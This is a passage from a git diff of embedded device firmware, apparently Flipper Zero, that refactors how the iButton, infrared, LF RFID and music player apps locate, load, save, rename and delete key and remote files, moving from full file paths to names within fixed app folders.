ibutton->file_path)) { - key_loaded = true; - // TODO: Display an error if the key from p could not be loaded - } - } - - if(key_loaded) { + if(p && ibutton_load_key(ibutton, (const char*)p)) { + // TODO: Display an error if the key from p could not be loaded scene_manager_next_scene(ibutton->scene_manager, iButtonSceneEmulate); } else { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneStart); diff --git a/applications/ibutton/ibutton_i.h b/applications/ibutton/ibutton_i.h index e66712bee..36857fd64 100644 --- a/applications/ibutton/ibutton_i.h +++ b/applications/ibutton/ibutton_i.h @@ -41,7 +41,7 @@ struct iButton { iButtonWorker* key_worker; iButtonKey* key; - string_t file_path; + char file_name[IBUTTON_FILE_NAME_SIZE]; char text_store[IBUTTON_TEXT_STORE_SIZE + 1]; Submenu* submenu; @@ -74,6 +74,7 @@ typedef enum { } iButtonNotificationMessage; bool ibutton_file_select(iButton* ibutton); +bool ibutton_load_key(iButton* ibutton, const char* key_name); bool ibutton_save_key(iButton* ibutton, const char* key_name); bool ibutton_delete_key(iButton* ibutton); void ibutton_text_store_set(iButton* ibutton, const char* text, ...); diff --git a/applications/ibutton/scenes/ibutton_scene_add_type.c b/applications/ibutton/scenes/ibutton_scene_add_type.c index 273330e71..db129295a 100644 --- a/applications/ibutton/scenes/ibutton_scene_add_type.c +++ b/applications/ibutton/scenes/ibutton_scene_add_type.c @@ -1,5 +1,4 @@ #include "../ibutton_i.h" -#include "m-string.h" enum SubmenuIndex { SubmenuIndexCyfral, @@ -45,7 +44,7 @@ bool ibutton_scene_add_type_on_event(void* context, SceneManagerEvent event) { furi_crash("Unknown key type"); } - string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); + ibutton_key_set_name(key, ""); ibutton_key_clear_data(key); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddValue); } diff --git a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c index 51f1f2794..73ea97cc6 100644 --- a/applications/ibutton/scenes/ibutton_scene_delete_confirm.c +++ b/applications/ibutton/scenes/ibutton_scene_delete_confirm.c @@ -1,5 +1,4 @@ #include "../ibutton_i.h" -#include static void ibutton_scene_delete_confirm_widget_callback( GuiButtonType result, @@ -17,11 +16,7 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - string_t key_name; - string_init(key_name); - path_extract_filename(ibutton->file_path, key_name, true); - - ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", string_get_cstr(key_name)); + ibutton_text_store_set(ibutton, "\e#Delete %s?\e#", ibutton_key_get_name_p(key)); widget_add_text_box_element( widget, 0, 0, 128, 27, AlignCenter, AlignCenter, ibutton->text_store, false); widget_add_button_element( @@ -67,8 +62,6 @@ void ibutton_scene_delete_confirm_on_enter(void* context) { widget, 64, 33, AlignCenter, AlignBottom, FontSecondary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); - - string_clear(key_name); } bool ibutton_scene_delete_confirm_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_emulate.c b/applications/ibutton/scenes/ibutton_scene_emulate.c index 590223979..8ffe73b66 100644 --- a/applications/ibutton/scenes/ibutton_scene_emulate.c +++ b/applications/ibutton/scenes/ibutton_scene_emulate.c @@ -1,6 +1,5 @@ #include "../ibutton_i.h" #include -#include static void ibutton_scene_emulate_callback(void* context, bool emulated) { iButton* ibutton = context; @@ -16,19 +15,14 @@ void ibutton_scene_emulate_on_enter(void* context) { iButtonKey* key = ibutton->key; const uint8_t* key_data = ibutton_key_get_data_p(key); - - string_t key_name; - string_init(key_name); - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - path_extract_filename(ibutton->file_path, key_name, true); - } + const char* key_name = ibutton_key_get_name_p(key); uint8_t line_count = 2; DOLPHIN_DEED(DolphinDeedIbuttonEmulate); // check that stored key has name - if(!string_empty_p(key_name)) { - ibutton_text_store_set(ibutton, "emulating\n%s", string_get_cstr(key_name)); + if(strcmp(key_name, "") != 0) { + ibutton_text_store_set(ibutton, "emulating\n%s", key_name); line_count = 2; } else { // if not, show key data @@ -83,8 +77,6 @@ void ibutton_scene_emulate_on_enter(void* context) { ibutton_worker_emulate_set_callback( ibutton->key_worker, ibutton_scene_emulate_callback, ibutton); ibutton_worker_emulate_start(ibutton->key_worker, key); - - string_clear(key_name); } bool ibutton_scene_emulate_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_info.c b/applications/ibutton/scenes/ibutton_scene_info.c index bd364ada8..5b0af1d8f 100644 --- a/applications/ibutton/scenes/ibutton_scene_info.c +++ b/applications/ibutton/scenes/ibutton_scene_info.c @@ -1,5 +1,4 @@ #include "../ibutton_i.h" -#include void ibutton_scene_info_on_enter(void* context) { iButton* ibutton = context; @@ -8,11 +7,7 @@ void ibutton_scene_info_on_enter(void* context) { const uint8_t* key_data = ibutton_key_get_data_p(key); - string_t key_name; - string_init(key_name); - path_extract_filename(ibutton->file_path, key_name, true); - - ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); + ibutton_text_store_set(ibutton, "%s", ibutton_key_get_name_p(key)); widget_add_text_box_element( widget, 0, 0, 128, 28, AlignCenter, AlignCenter, ibutton->text_store, false); @@ -51,8 +46,6 @@ void ibutton_scene_info_on_enter(void* context) { widget, 64, 35, AlignCenter, AlignBottom, FontPrimary, ibutton->text_store); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewWidget); - - string_clear(key_name); } bool ibutton_scene_info_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_read.c b/applications/ibutton/scenes/ibutton_scene_read.c index 0cc0a8dff..a25f27e60 100644 --- a/applications/ibutton/scenes/ibutton_scene_read.c +++ b/applications/ibutton/scenes/ibutton_scene_read.c @@ -18,7 +18,7 @@ void ibutton_scene_read_on_enter(void* context) { popup_set_icon(popup, 0, 5, &I_DolphinWait_61x59); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewPopup); - string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); + ibutton_key_set_name(key, ""); ibutton_worker_read_set_callback(worker, ibutton_scene_read_callback, ibutton); ibutton_worker_read_start(worker, key); diff --git a/applications/ibutton/scenes/ibutton_scene_save_name.c b/applications/ibutton/scenes/ibutton_scene_save_name.c index 6caf5d2d5..b1baf6afc 100644 --- a/applications/ibutton/scenes/ibutton_scene_save_name.c +++ b/applications/ibutton/scenes/ibutton_scene_save_name.c @@ -1,7 +1,5 @@ #include "../ibutton_i.h" -#include "m-string.h" #include -#include static void ibutton_scene_save_name_text_input_callback(void* context) { iButton* ibutton = context; @@ -12,17 +10,13 @@ void ibutton_scene_save_name_on_enter(void* context) { iButton* ibutton = context; TextInput* text_input = ibutton->text_input; - string_t key_name; - string_init(key_name); - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - path_extract_filename(ibutton->file_path, key_name, true); - } + const char* key_name = ibutton_key_get_name_p(ibutton->key); + const bool key_name_is_empty = !strcmp(key_name, ""); - const bool key_name_is_empty = string_empty_p(key_name); if(key_name_is_empty) { set_random_name(ibutton->text_store, IBUTTON_TEXT_STORE_SIZE); } else { - ibutton_text_store_set(ibutton, "%s", string_get_cstr(key_name)); + ibutton_text_store_set(ibutton, "%s", key_name); } text_input_set_header_text(text_input, "Name the key"); @@ -34,19 +28,11 @@ void ibutton_scene_save_name_on_enter(void* context) { IBUTTON_KEY_NAME_SIZE, key_name_is_empty); - string_t folder_path; - string_init(folder_path); - - path_extract_dirname(string_get_cstr(ibutton->file_path), folder_path); - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(folder_path), IBUTTON_APP_EXTENSION, string_get_cstr(key_name)); + ValidatorIsFile* validator_is_file = + validator_is_file_alloc_init(IBUTTON_APP_FOLDER, IBUTTON_APP_EXTENSION, key_name); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(ibutton->view_dispatcher, iButtonViewTextInput); - - string_clear(key_name); - string_clear(folder_path); } bool ibutton_scene_save_name_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/ibutton/scenes/ibutton_scene_start.c b/applications/ibutton/scenes/ibutton_scene_start.c index cc8af9839..a3141f5ad 100644 --- a/applications/ibutton/scenes/ibutton_scene_start.c +++ b/applications/ibutton/scenes/ibutton_scene_start.c @@ -36,7 +36,6 @@ bool ibutton_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexRead) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneRead); } else if(event.event == SubmenuIndexSaved) { - string_set_str(ibutton->file_path, IBUTTON_APP_FOLDER); scene_manager_next_scene(ibutton->scene_manager, iButtonSceneSelectKey); } else if(event.event == SubmenuIndexAdd) { scene_manager_next_scene(ibutton->scene_manager, iButtonSceneAddType); diff --git a/applications/ibutton/scenes/ibutton_scene_write.c b/applications/ibutton/scenes/ibutton_scene_write.c index 4ce19408a..35e45d83b 100644 --- a/applications/ibutton/scenes/ibutton_scene_write.c +++ b/applications/ibutton/scenes/ibutton_scene_write.c @@ -1,6 +1,4 @@ #include "../ibutton_i.h" -#include "m-string.h" -#include "toolbox/path.h" typedef enum { iButtonSceneWriteStateDefault, @@ -19,18 +17,13 @@ void ibutton_scene_write_on_enter(void* context) { iButtonWorker* worker = ibutton->key_worker; const uint8_t* key_data = ibutton_key_get_data_p(key); - - string_t key_name; - string_init(key_name); - if(string_end_with_str_p(ibutton->file_path, IBUTTON_APP_EXTENSION)) { - path_extract_filename(ibutton->file_path, key_name, true); - } + const char* key_name = ibutton_key_get_name_p(key); uint8_t line_count = 2; // check that stored key has name - if(!string_empty_p(key_name)) { - ibutton_text_store_set(ibutton, "writing\n%s", string_get_cstr(key_name)); + if(strcmp(key_name, "") != 0) { + ibutton_text_store_set(ibutton, "writing\n%s", key_name); line_count = 2; } else { // if not, show key data @@ -86,8 +79,6 @@ void ibutton_scene_write_on_enter(void* context) { ibutton_worker_write_set_callback(worker, ibutton_scene_write_callback, ibutton); ibutton_worker_write_start(worker, key); - - string_clear(key_name); } bool ibutton_scene_write_on_event(void* context, SceneManagerEvent event) { diff --git a/applications/infrared/infrared_app.cpp b/applications/infrared/infrared_app.cpp index 1ac859d10..5dc3b311d 100644 --- a/applications/infrared/infrared_app.cpp +++ b/applications/infrared/infrared_app.cpp @@ -1,5 +1,4 @@ #include "infrared_app.h" -#include "m-string.h" #include #include #include @@ -13,18 +12,20 @@ int32_t InfraredApp::run(void* args) { bool exit = false; if(args) { - string_t path; - string_init_set_str(path, (char*)args); - if(string_end_with_str_p(path, InfraredApp::infrared_extension)) { - bool result = remote_manager.load(path); + std::string path = static_cast(args); + std::string remote_name(path, path.find_last_of('/') + 1, path.size()); + auto last_dot = remote_name.find_last_of('.'); + if(last_dot != std::string::npos) { + remote_name.erase(last_dot); + path.erase(path.find_last_of('/')); + bool result = remote_manager.load(path, remote_name); if(result) { current_scene = InfraredApp::Scene::Remote; } else { - printf("Failed to load remote \'%s\'\r\n", string_get_cstr(path)); + printf("Failed to load remote \'%s\'\r\n", remote_name.c_str()); return -1; } } - string_clear(path); } scenes[current_scene]->on_enter(this); @@ -50,7 +51,6 @@ int32_t InfraredApp::run(void* args) { InfraredApp::InfraredApp() { furi_check(InfraredAppRemoteManager::max_button_name_length < get_text_store_size()); - string_init_set_str(file_path, InfraredApp::infrared_directory); notification = static_cast(furi_record_open("notification")); dialogs = static_cast(furi_record_open("dialogs")); infrared_worker = infrared_worker_alloc(); @@ -60,7 +60,6 @@ InfraredApp::~InfraredApp() { infrared_worker_free(infrared_worker); furi_record_close("notification"); furi_record_close("dialogs"); - string_clear(file_path); for(auto& [key, scene] : scenes) delete scene; } diff --git a/applications/infrared/infrared_app.h b/applications/infrared/infrared_app.h index 1cb8b6617..e0db7c51b 100644 --- a/applications/infrared/infrared_app.h +++ b/applications/infrared/infrared_app.h @@ -251,8 +251,6 @@ public: /** Main class destructor, deinitializes all critical objects */ ~InfraredApp(); - string_t file_path; - /** Path to Infrared directory */ static constexpr const char* infrared_directory = "/any/infrared"; /** Infrared files extension (remote files and universal databases) */ diff --git a/applications/infrared/infrared_app_remote_manager.cpp b/applications/infrared/infrared_app_remote_manager.cpp index faeccb39e..4fd645532 100644 --- a/applications/infrared/infrared_app_remote_manager.cpp +++ b/applications/infrared/infrared_app_remote_manager.cpp @@ -1,5 +1,3 @@ -#include "m-string.h" -#include "storage/filesystem_api_defines.h" #include #include "infrared_app_remote_manager.h" #include "infrared/helpers/infrared_parser.h" @@ -13,58 +11,44 @@ #include #include #include "infrared_app.h" -#include static const char* default_remote_name = "remote"; -void InfraredAppRemoteManager::find_vacant_remote_name(string_t name, string_t path) { +std::string InfraredAppRemoteManager::make_full_name( + const std::string& path, + const std::string& remote_name) const { + return std::string("") + path + "/" + remote_name + InfraredApp::infrared_extension; +} + +std::string InfraredAppRemoteManager::find_vacant_remote_name(const std::string& name) { + std::string result_name; Storage* storage = static_cast(furi_record_open("storage")); - string_t base_path; - string_init_set(base_path, path); + FS_Error error = storage_common_stat( + storage, make_full_name(InfraredApp::infrared_directory, name).c_str(), NULL); - if(string_end_with_str_p(base_path, InfraredApp::infrared_extension)) { - size_t filename_start = string_search_rchar(base_path, '/'); - string_left(base_path, filename_start); - } - - string_printf( - base_path, - "%s/%s%s", - string_get_cstr(path), - string_get_cstr(name), - InfraredApp::infrared_extension); - - FS_Error error = storage_common_stat(storage, string_get_cstr(base_path), NULL); - - if(error == FSE_OK) { + if(error == FSE_NOT_EXIST) { + result_name = name; + } else if(error != FSE_OK) { + result_name = std::string(); + } else { /* if suggested name is occupied, try another one (name2, name3, etc) */ - size_t dot = string_search_rchar(base_path, '.'); - string_left(base_path, dot); - - string_t path_temp; - string_init(path_temp); - uint32_t i = 1; + std::string new_name; do { - string_printf( - path_temp, - "%s%u%s", - string_get_cstr(base_path), - ++i, - InfraredApp::infrared_extension); - error = storage_common_stat(storage, string_get_cstr(path_temp), NULL); + new_name = make_full_name(InfraredApp::infrared_directory, name + std::to_string(++i)); + error = storage_common_stat(storage, new_name.c_str(), NULL); } while(error == FSE_OK); - string_clear(path_temp); - if(error == FSE_NOT_EXIST) { - string_cat_printf(name, "%u", i); + result_name = name + std::to_string(i); + } else { + result_name = std::string(); } } - string_clear(base_path); furi_record_close("storage"); + return result_name; } bool InfraredAppRemoteManager::add_button(const char* button_name, const InfraredAppSignal& signal) { @@ -77,23 +61,12 @@ bool InfraredAppRemoteManager::add_remote_with_button( const InfraredAppSignal& signal) { furi_check(button_name != nullptr); - string_t new_name; - string_init_set_str(new_name, default_remote_name); - - string_t new_path; - string_init_set_str(new_path, InfraredApp::infrared_directory); - - find_vacant_remote_name(new_name, new_path); - - string_cat_printf( - new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); - - remote = std::make_unique(new_path); - remote->name = std::string(string_get_cstr(new_name)); - - string_clear(new_path); - string_clear(new_name); + auto new_name = find_vacant_remote_name(default_remote_name); + if(new_name.empty()) { + return false; + } + remote = std::make_unique(InfraredApp::infrared_directory, new_name); return add_button(button_name, signal); } @@ -120,7 +93,8 @@ const InfraredAppSignal& InfraredAppRemoteManager::get_button_data(size_t index) bool InfraredAppRemoteManager::delete_remote() { Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = storage_common_remove(storage, string_get_cstr(remote->path)); + FS_Error error = + storage_common_remove(storage, make_full_name(remote->path, remote->name).c_str()); reset_remote(); furi_record_close("storage"); @@ -154,33 +128,22 @@ std::string InfraredAppRemoteManager::get_remote_name() { bool InfraredAppRemoteManager::rename_remote(const char* str) { furi_check(str != nullptr); furi_check(remote.get() != nullptr); - furi_check(!string_empty_p(remote->path)); if(!remote->name.compare(str)) { return true; } - string_t new_name; - string_init_set_str(new_name, str); - find_vacant_remote_name(new_name, remote->path); - - string_t new_path; - string_init_set(new_path, remote->path); - if(string_end_with_str_p(new_path, InfraredApp::infrared_extension)) { - size_t filename_start = string_search_rchar(new_path, '/'); - string_left(new_path, filename_start); + auto new_name = find_vacant_remote_name(str); + if(new_name.empty()) { + return false; } - string_cat_printf( - new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = - storage_common_rename(storage, string_get_cstr(remote->path), string_get_cstr(new_path)); - remote->name = std::string(string_get_cstr(new_name)); - - string_clear(new_name); - string_clear(new_path); + std::string old_filename = make_full_name(remote->path, remote->name); + std::string new_filename = make_full_name(remote->path, new_name); + FS_Error error = storage_common_rename(storage, old_filename.c_str(), new_filename.c_str()); + remote->name = new_name; furi_record_close("storage"); return (error == FSE_OK || error == FSE_EXIST); @@ -208,8 +171,10 @@ bool InfraredAppRemoteManager::store(void) { FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I("RemoteManager", "store file: \'%s\'", string_get_cstr(remote->path)); - result = flipper_format_file_open_always(ff, string_get_cstr(remote->path)); + FURI_LOG_I( + "RemoteManager", "store file: \'%s\'", make_full_name(remote->path, remote->name).c_str()); + result = + flipper_format_file_open_always(ff, make_full_name(remote->path, remote->name).c_str()); if(result) { result = flipper_format_write_header_cstr(ff, "IR signals file", 1); } @@ -227,13 +192,13 @@ bool InfraredAppRemoteManager::store(void) { return result; } -bool InfraredAppRemoteManager::load(string_t path) { +bool InfraredAppRemoteManager::load(const std::string& path, const std::string& remote_name) { bool result = false; Storage* storage = static_cast(furi_record_open("storage")); FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I("RemoteManager", "load file: \'%s\'", string_get_cstr(path)); - result = flipper_format_file_open_existing(ff, string_get_cstr(path)); + FURI_LOG_I("RemoteManager", "load file: \'%s\'", make_full_name(path, remote_name).c_str()); + result = flipper_format_file_open_existing(ff, make_full_name(path, remote_name).c_str()); if(result) { string_t header; string_init(header); @@ -245,14 +210,7 @@ bool InfraredAppRemoteManager::load(string_t path) { string_clear(header); } if(result) { - string_t new_name; - string_init(new_name); - - remote = std::make_unique(path); - path_extract_filename(path, new_name, true); - remote->name = std::string(string_get_cstr(new_name)); - - string_clear(new_name); + remote = std::make_unique(path, remote_name); InfraredAppSignal signal; std::string signal_name; while(infrared_parser_read_signal(ff, signal, signal_name)) { diff --git a/applications/infrared/infrared_app_remote_manager.h b/applications/infrared/infrared_app_remote_manager.h index b6f0b170f..31557d54b 100644 --- a/applications/infrared/infrared_app_remote_manager.h +++ b/applications/infrared/infrared_app_remote_manager.h @@ -8,7 +8,6 @@ #include "infrared_app_signal.h" -#include "m-string.h" #include #include @@ -61,19 +60,17 @@ class InfraredAppRemote { /** Name of remote */ std::string name; /** Path to remote file */ - string_t path; + std::string path; public: /** Initialize new remote * * @param path - remote file path + * @param name - new remote name */ - InfraredAppRemote(string_t file_path) { - string_init_set(path, file_path); - } - - ~InfraredAppRemote() { - string_clear(path); + InfraredAppRemote(const std::string& path, const std::string& name) + : name(name) + , path(path) { } }; @@ -81,6 +78,12 @@ public: class InfraredAppRemoteManager { /** Remote instance. There can be 1 remote loaded at a time. */ std::unique_ptr remote; + /** Make full name from remote name + * + * @param remote_name name of remote + * @retval full name of remote on disk + */ + std::string make_full_name(const std::string& path, const std::string& remote_name) const; public: /** Restriction to button name length. Buttons larger are ignored. */ @@ -122,9 +125,9 @@ public: * incremented digit(2,3,4,etc) added to name and check repeated. * * @param name - suggested remote name - * @param path - remote file path + * @retval garanteed free remote name, prefixed with suggested */ - void find_vacant_remote_name(string_t name, string_t path); + std::string find_vacant_remote_name(const std::string& name); /** Get button list * @@ -182,8 +185,8 @@ public: /** Load data from disk into current remote * - * @param path - path to remote file + * @param name - name of remote to load * @retval true if success, false otherwise */ - bool load(string_t path); + bool load(const std::string& path, const std::string& name); }; diff --git a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp index 761da49f3..dc63c64b1 100644 --- a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp +++ b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp @@ -1,6 +1,4 @@ #include "../infrared_app.h" -#include "m-string.h" -#include "toolbox/path.h" void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -23,18 +21,9 @@ void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { enter_name_length = InfraredAppRemoteManager::max_remote_name_length; text_input_set_header_text(text_input, "Name the remote"); - string_t folder_path; - string_init(folder_path); - - if(string_end_with_str_p(app->file_path, InfraredApp::infrared_extension)) { - path_extract_dirname(string_get_cstr(app->file_path), folder_path); - } - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(folder_path), app->infrared_extension, remote_name.c_str()); + app->infrared_directory, app->infrared_extension, remote_name.c_str()); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - string_clear(folder_path); } text_input_set_result_callback( diff --git a/applications/infrared/scene/infrared_app_scene_remote_list.cpp b/applications/infrared/scene/infrared_app_scene_remote_list.cpp index c72acb6e8..f59ff3e91 100644 --- a/applications/infrared/scene/infrared_app_scene_remote_list.cpp +++ b/applications/infrared/scene/infrared_app_scene_remote_list.cpp @@ -1,5 +1,4 @@ #include "../infrared_app.h" -#include "assets_icons.h" #include "infrared/infrared_app_event.h" #include @@ -9,6 +8,11 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { bool result = false; bool file_select_result; auto remote_manager = app->get_remote_manager(); + auto last_selected_remote = remote_manager->get_remote_name(); + const char* last_selected_remote_name = + last_selected_remote.size() ? last_selected_remote.c_str() : nullptr; + auto filename_ts = + std::make_unique(InfraredAppRemoteManager::max_remote_name_length); DialogsApp* dialogs = app->get_dialogs(); InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -16,17 +20,16 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { button_menu_reset(button_menu); view_manager->switch_to(InfraredAppViewManager::ViewId::ButtonMenu); - file_select_result = dialog_file_browser_show( + file_select_result = dialog_file_select_show( dialogs, - app->file_path, - app->file_path, + InfraredApp::infrared_directory, InfraredApp::infrared_extension, - true, - &I_ir_10px, - true); + filename_ts->text, + filename_ts->text_size, + last_selected_remote_name); if(file_select_result) { - if(remote_manager->load(app->file_path)) { + if(remote_manager->load(InfraredApp::infrared_directory, std::string(filename_ts->text))) { app->switch_to_next_scene(InfraredApp::Scene::Remote); result = true; } diff --git a/applications/infrared/scene/infrared_app_scene_start.cpp b/applications/infrared/scene/infrared_app_scene_start.cpp index 5efdce7a0..c42ab9fed 100644 --- a/applications/infrared/scene/infrared_app_scene_start.cpp +++ b/applications/infrared/scene/infrared_app_scene_start.cpp @@ -26,8 +26,6 @@ void InfraredAppSceneStart::on_enter(InfraredApp* app) { submenu, "Learn New Remote", SubmenuIndexLearnNewRemote, submenu_callback, app); submenu_add_item(submenu, "Saved Remotes", SubmenuIndexSavedRemotes, submenu_callback, app); submenu_set_selected_item(submenu, submenu_item_selected); - - string_set_str(app->file_path, InfraredApp::infrared_directory); submenu_item_selected = 0; view_manager->switch_to(InfraredAppViewManager::ViewId::Submenu); diff --git a/applications/lfrfid/lfrfid_app.cpp b/applications/lfrfid/lfrfid_app.cpp index 4027a07ea..c2274234b 100644 --- a/applications/lfrfid/lfrfid_app.cpp +++ b/applications/lfrfid/lfrfid_app.cpp @@ -1,7 +1,4 @@ #include "lfrfid_app.h" -#include "assets_icons.h" -#include "furi/common_defines.h" -#include "m-string.h" #include "scene/lfrfid_app_scene_start.h" #include "scene/lfrfid_app_scene_read.h" #include "scene/lfrfid_app_scene_read_success.h" @@ -34,11 +31,9 @@ LfRfidApp::LfRfidApp() , storage{"storage"} , dialogs{"dialogs"} , text_store(40) { - string_init_set_str(file_path, app_folder); } LfRfidApp::~LfRfidApp() { - string_clear(file_path); } void LfRfidApp::run(void* _args) { @@ -47,8 +42,7 @@ void LfRfidApp::run(void* _args) { make_app_folder(); if(strlen(args)) { - string_set_str(file_path, args); - load_key_data(file_path, &worker.key); + load_key_data(args, &worker.key); scene_controller.add_scene(SceneType::Emulate, new LfRfidAppSceneEmulate()); scene_controller.process(100, SceneType::Emulate); } else { @@ -75,49 +69,65 @@ void LfRfidApp::run(void* _args) { } bool LfRfidApp::save_key(RfidKey* key) { + string_t file_name; bool result = false; make_app_folder(); - if(string_end_with_str_p(file_path, app_extension)) { - size_t filename_start = string_search_rchar(file_path, '/'); - string_left(file_path, filename_start); - } + string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); + result = save_key_data(string_get_cstr(file_name), key); + string_clear(file_name); - string_cat_printf(file_path, "/%s%s", key->get_name(), app_extension); - - result = save_key_data(file_path, key); return result; } bool LfRfidApp::load_key_from_file_select(bool need_restore) { - if(!need_restore) { - string_set_str(file_path, app_folder); - } + TextStore* filename_ts = new TextStore(64); + bool result = false; - bool result = dialog_file_browser_show( - dialogs, file_path, file_path, app_extension, true, &I_125_10px, true); + if(need_restore) { + result = dialog_file_select_show( + dialogs, + app_folder, + app_extension, + filename_ts->text, + filename_ts->text_size, + worker.key.get_name()); + } else { + result = dialog_file_select_show( + dialogs, app_folder, app_extension, filename_ts->text, filename_ts->text_size, NULL); + } if(result) { - result = load_key_data(file_path, &worker.key); + string_t key_str; + string_init_printf(key_str, "%s/%s%s", app_folder, filename_ts->text, app_extension); + result = load_key_data(string_get_cstr(key_str), &worker.key); + string_clear(key_str); } + delete filename_ts; return result; } bool LfRfidApp::delete_key(RfidKey* key) { - UNUSED(key); - return storage_simply_remove(storage, string_get_cstr(file_path)); + string_t file_name; + bool result = false; + + string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); + result = storage_simply_remove(storage, string_get_cstr(file_name)); + string_clear(file_name); + + return result; } -bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { +bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; string_t str_result; string_init(str_result); do { - if(!flipper_format_file_open_existing(file, string_get_cstr(path))) break; + if(!flipper_format_file_open_existing(file, path)) break; // header uint32_t version; @@ -139,7 +149,7 @@ bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { break; loaded_key.set_data(key_data, loaded_key.get_type_data_count()); - path_extract_filename(path, str_result, true); + path_extract_filename_no_ext(path, str_result); loaded_key.set_name(string_get_cstr(str_result)); *key = loaded_key; @@ -156,12 +166,12 @@ bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { return result; } -bool LfRfidApp::save_key_data(string_t path, RfidKey* key) { +bool LfRfidApp::save_key_data(const char* path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; do { - if(!flipper_format_file_open_always(file, string_get_cstr(path))) break; + if(!flipper_format_file_open_always(file, path)) break; if(!flipper_format_write_header_cstr(file, app_filetype, 1)) break; if(!flipper_format_write_comment_cstr(file, "Key type can be EM4100, H10301 or I40134")) break; diff --git a/applications/lfrfid/lfrfid_app.h b/applications/lfrfid/lfrfid_app.h index 3f8209a1d..dddfb753a 100644 --- a/applications/lfrfid/lfrfid_app.h +++ b/applications/lfrfid/lfrfid_app.h @@ -1,5 +1,4 @@ #pragma once -#include "m-string.h" #include #include @@ -77,8 +76,6 @@ public: TextStore text_store; - string_t file_path; - void run(void* args); static const char* app_folder; @@ -89,8 +86,8 @@ public: bool load_key_from_file_select(bool need_restore); bool delete_key(RfidKey* key); - bool load_key_data(string_t path, RfidKey* key); - bool save_key_data(string_t path, RfidKey* key); + bool load_key_data(const char* path, RfidKey* key); + bool save_key_data(const char* path, RfidKey* key); void make_app_folder(); }; diff --git a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp index d7ba2c9ed..d460724e2 100644 --- a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp +++ b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp @@ -1,14 +1,11 @@ #include "lfrfid_app_scene_save_name.h" -#include "m-string.h" #include -#include void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { const char* key_name = app->worker.key.get_name(); bool key_name_empty = !strcmp(key_name, ""); if(key_name_empty) { - string_set_str(app->file_path, app->app_folder); set_random_name(app->text_store.text, app->text_store.text_size); } else { app->text_store.set("%s", key_name); @@ -24,17 +21,10 @@ void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { app->worker.key.get_name_length(), key_name_empty); - string_t folder_path; - string_init(folder_path); - - path_extract_dirname(string_get_cstr(app->file_path), folder_path); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(string_get_cstr(folder_path), app->app_extension, key_name); + validator_is_file_alloc_init(app->app_folder, app->app_extension, key_name); text_input->set_validator(validator_is_file_callback, validator_is_file); - string_clear(folder_path); - app->view_controller.switch_to(); } diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 9b5dda0fa..6dfef4920 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -1,5 +1,3 @@ -#include "assets_icons.h" -#include "m-string.h" #include #include @@ -300,23 +298,23 @@ int32_t music_player_app(void* p) { if(p) { string_cat_str(file_path, p); } else { - string_set_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); - + char file_name[256] = {0}; DialogsApp* dialogs = furi_record_open("dialogs"); - bool res = dialog_file_browser_show( + bool res = dialog_file_select_show( dialogs, - file_path, - file_path, + 